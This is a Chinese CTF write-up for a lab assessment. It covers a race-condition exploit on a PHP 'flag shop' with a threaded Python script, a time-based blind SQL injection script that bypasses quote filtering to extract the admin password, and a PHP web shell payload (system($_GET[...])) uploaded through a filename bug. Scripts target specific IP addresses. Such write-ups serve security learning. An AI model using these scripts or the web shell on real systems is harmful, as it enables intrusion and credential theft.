极光实验室 第一次考核wp
第一道题:

上来就让我买flag,用御剑扫目录,发现了这道题有源码index.php.bak!直接下载。
<meta charset='UTF-8'>
<title>极光实验室flag售卖中心</title>
<link rel="stylesheet" href="./css/bootstrap.css">
<link rel="stylesheet" href="./css/bootstrap.min.css">
<link rel="stylesheet" href="./css/index.css">
<body>
<div class='starter_form1'>
<h1>极光实验室flag售卖中心</h1>
<?php
ini_set('display_errors', 0);
error_reporting(E_ALL ^ E_DEPRECATED);
$db = new mysqli("127.0.0.1","root","****", shop); $sql = "SELECT rest FROM account"; $rest = intval($db->query($sql)->fetch_assoc()['rest']); $sql = "SELECT own FROM account"; $own = intval($db->query($sql)->fetch_assoc()['own']); echo "
<div class=\"starter_form\" style=\"align-content: center\">
<form action='' method='post'> <h3>您当前的余额:{$rest}元</h1>
<div style=\"margin: 50px\">
</div> 支付<input type='text' name='money'>元购买flag<br>
</br>
<div class='form-group'>
<button class=\"btn btn-primary btn-block\" type=\"submit\" name='submit'>购买</button>
</div>
<div style=\"margin: 100px\">
</div>
已支付{$own}元,可是flag最低要21元...
</br>
<form action='' method='post'>
<button class=\"btn btn-primary btn-block\" type=\"submit\" name='restart' value='1'>重置</button>
</div>
</form>
</div>
</div>
"; if ($_POST['money']){ $money = intval($_POST['money']);
if($money<0)
{
echo "<script>alert('我们极光虽然有钱...但兄弟姐妹你这样我们会破产的...')</script>";
exit();
}
if($money <= $rest) { $sql = "UPDATE account SET rest=rest-".$money; $db->query($sql); $sql = "UPDATE account SET own=own+".$money; $db->query($sql); echo "<script>alert('支付成功');window.location.href=this.location.href</script>"; } else { echo "<script>alert('支付失败,可能是因为您的余额不足。')</script>"; }
$sql="select own from account";
$banner = intval($db->query($sql)->fetch_assoc()['own']);
if($own>=21)
{
echo "等等..竟然!无中生友,你怕不是黑黑黑...\nACTF{************}";
}
}
else if ($_POST['restart']==1){
$sql = "UPDATE account SET rest=20";
$db->query($sql);
$sql = "UPDATE account SET own=0";
$db->query($sql);
}
?> </body> </html>
源码审计,本来以为这是一道sql注入题,但是因为intval()并不想is_number()一样存在sql注入的漏洞,只能含泪放弃。
重新审计源码发现,它并没有考虑到多个人同时操作的情况,于是就有了竞争的想法!
所谓竞争上传就是指 在服务器刚刚做出 $money <= $rest 的判断并且没有执行$sql = "UPDATE account SET rest=rest-".$money;操作时,再次判断$money <= $rest。
使得出现漏洞。
那么我们就需要写一个多线程的脚本。不断地访问。这里直接嫖了大佬的脚本
import requests
import threading
import queue url = "http://47.112.16.34:22255/index.php"
threads = 25
q = queue.Queue() for i in range(50):
q.put(i) def post():
while not q.empty():
q.get()
r = requests.post(url, data={'money': 1})
print(r.text) if __name__ == '__main__':
for i in range(threads):
t = threading.Thread(target=post)
t.start() for i in range(threads):
t.join()
成功拿到flag!

(话说这个flag也太长了吧)
下一道题:
第二道题因为拖得时间有点长导致刚写出脚本,题目就关闭了,现在在大佬的帮助下终于拿到了flag(话说拿到flag不能交真的很烦啊!!!!)
第二道题首先考我们robots协议。
然后扫到了image.php?然后才知道有image.php.bak。。(璞佬nb!)
然后看到源码!
<?php
include "config.php"; $id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:""; $id=addslashes($id);
$path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC); ...
还是源码审计,直接过滤了单引号,真的狠好吧!那怎么办?想起了之前的用 / 过滤单引号但是这一次很明显没有那么简单,因为有 addslashes()函数(具体作用不载详述)
突发奇想输入 \0 (看到了\\0)会发生什么,然后居然过滤的只剩下一个 \ 符号,原来如此,wakada!
那就可以构造payload了,直接放脚本。(注意因为单引号被过滤了,那么要用16进制编码来代替需要引号的地方!)
# insert into member(`username`,pw,sex,phonenum,email,address) values('wangwu',md5('a'),'a','aa','a','a')
import requests
import time
url = "http://47.106.94.13:40005/image.php?"
#params = "id=\\0&path= or if((ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))={}),sleep(5),1)--+"
params = "id=\\0&path= or if((ascii(mid((select password from users where username=0x61646d696e),{},1))={}),sleep(5),1)--+"
string = "1234567890abcdefghijklmnopqrstuvwxyz -ABCDEFGHIJKLMNOPQRSTUVWXYZ:_@,\{\}."
while True:
get = ""
for i in range(1,100):
for j in string:
parm = params.format(str(i),str(ord(j)))
url2 = url + parm
try:
response = requests.get(url2,timeout=3)
except:
get+=j
print(get)
time.sleep(1)
break
#print(url2)
中间有点没写上,不过没关系,大概就是这个payload,跑出结果

用 admin 和 password 作为账号和密码登录。

文件上传?经过cyt大佬的wp才知道,这一题居然是把文件名当做漏洞。。。哭了!
构造payload = <?= system($_GET[1551]);?>

然后,找啊找啊找啊找(话说藏得真深)找到了

极光实验室 第一次考核wp的更多相关文章
- Jquery第一次考核
1. 什么是JS JavaScript 缩写.一种计算机脚本语言 JavaScript是一种动态.弱类型.基于原型的语言,通过浏览器可以直接执行 2. JS三大组成部件 ECMAScript DOM ...
- wp上一款应用的出生与死亡
起因 因为自己买了个wp手机,所以对于微软的这个wp系统还是非常喜欢,无奈软件质量不高,过年前便买了个wp的开发者帐号,不是很贵,还想着为wp的生态系统做点贡献.无奈工作繁忙,一直没有机会去做.但是自 ...
- SAP成都研究院Sunshine: 我的C4C实习感受和保研之路
今天的文章来自SAP成都一位实习生,曾经和Jerry同在C4C成都开发团队一起工作过.在Sunshine最后一个工作日里,Jerry和Sunshine一起吃饭的时候,她曾经聊到接下来的保研打算和将来工 ...
- buu学习记录(上)
前言:菜鸡误入buu,差点被打吐.不过学到了好多东西. 题目名称: (1)随便注 (2)高明的黑客 (3)CheckIn (4)Hack World (5)SSRF Me (6)piapiapia ( ...
- 漫漫征途,java开发(未完待续)
前言 2018年,大二上,有幸加入服务外包实验室的考核,在考核中,主动加入xxx项目的后端,一是为了积累项目经验,二是为了学到更多东西,进入了之后发现原来要学的这么多,时间这么紧!但唯有学习! 心得体 ...
- 关于GC(下):CMS和G1GC的比较
简称 STW -- Stop the World,暂停所有在执行的线程 简史 2004年Sun实验室第一次发表G1论文 JDK6U14中第一次作为实验选项引入 JDK7中开始作为替换CMS的方案 JD ...
- Java作业:第一次过程性考核 ——长春职业技术学院 16级网络工程
Java作业:第一次过程性考核 ••<结构化程序设计>•• 考核目标:初步了解Java基本语法规则,学习结构化程序设计思想. 码云链接:https://gitee.com/SoridoD/ ...
- 极光推送SDK通过泰尔终端实验室检测,符合统一推送接口标准
1月7日,中国深圳--国内领先的开发者服务提供商极光(Aurora Mobile, NASDAQ:JG)宣布其旗下产品极光推送SDK通过中国信息通信研究院泰尔终端实验室的检测,其性能和接口标准符合统一 ...
- 停下来,回头看 ——记2020BUAA软工第一次作业-热身!
description: 'Mar 1st, 2020 - Mar 3rd, 2020' 项目 内容 这个作业属于哪个课程 2020春季计算机学院软件工程(罗杰 任建) 这个作业的要求在哪里 第一次作 ...
随机推荐
- Electron入门指北
最近几年最火的桌面化技术,无疑是Qt+和Electron. 两者都有跨平台桌面化技术,并不局限于Windows系统.前者因嵌入式而诞生,在演变过程中,逐步完善了生态以及工具链.后者则是依托于Node. ...
- MSSQL 指定分隔符号 生成数据集
DECLARE @xml VARCHAR(MAX)='磨毛:1 缩率:2 干磨:3 湿摩:4 水洗牢度:5 手感:6 防水:7 PH:8 日晒:9' SET @xml= '<root>'+ ...
- Numpy_01
# 引子: # ndarray 是一个 numpy库提供的 同构数据多维模型 import numpy as np list=[1,2,3,4,5,6] myndarray=np.array(list ...
- 都知道的copy_from_user
Q:一直知道内核和用户态的数据交互前都需要 校验地址的合法性,一般都用copy_from/to_user完成数据拷贝,那么为什么要这样呢?? A:看了一些blog以及Stack Overflow 主要 ...
- TCP回射客户服务器模型(01 socket bind listen accept connect)
socket函数(安装电话机)头文件:#include<sys/socket.h> int socket(int family, int type, int protocol); //返 ...
- linux全局和个人配置文件说明
1.bash配置文件: 1).全局(bash的配置文件) 有 /etc/profile /etc/profile.d/* 与 /etc/bashrc 其实都是bash这个程序启动的时候会读取配置 ...
- git操作之二:git restore
在上篇博客中留了一个问题,那就是git restore命令是做什么的,下面重点分析. 一.概述 git restore命令是撤销的意思,也就是把文件从缓存区撤销,回到未被追踪的状态. 该命令有git ...
- idea中运行tomcat不能访问8080主页问题
问题 初次使用IntelliJ IDEA,但今天在运行项目启动Tomcat后,发现无法访问Tomcat首页,出现404错误:输入http://localhost:8080时无法访问Tomcat首页,但 ...
- OCR之前这些因素必须考虑到!
用久了ABBYY FineReader 14OCR文字识别软件,相信大家都知道图像质量对OCR质量有很大的影响,本文将给大家讲解下在识别图像之前,有哪些因素需要考虑到! 1.OCR语言 ABBYY F ...
- vim进入粘贴模式
最近使用linux的vim编辑器编写程序时,遇到一些繁琐的模板想要复制粘贴进去,直接进入插入模式点复制,复制出来的格式不对没办法运行 解决办法: 这是因为 Vim 自动缩进了,按照如下设置可以解决该问 ...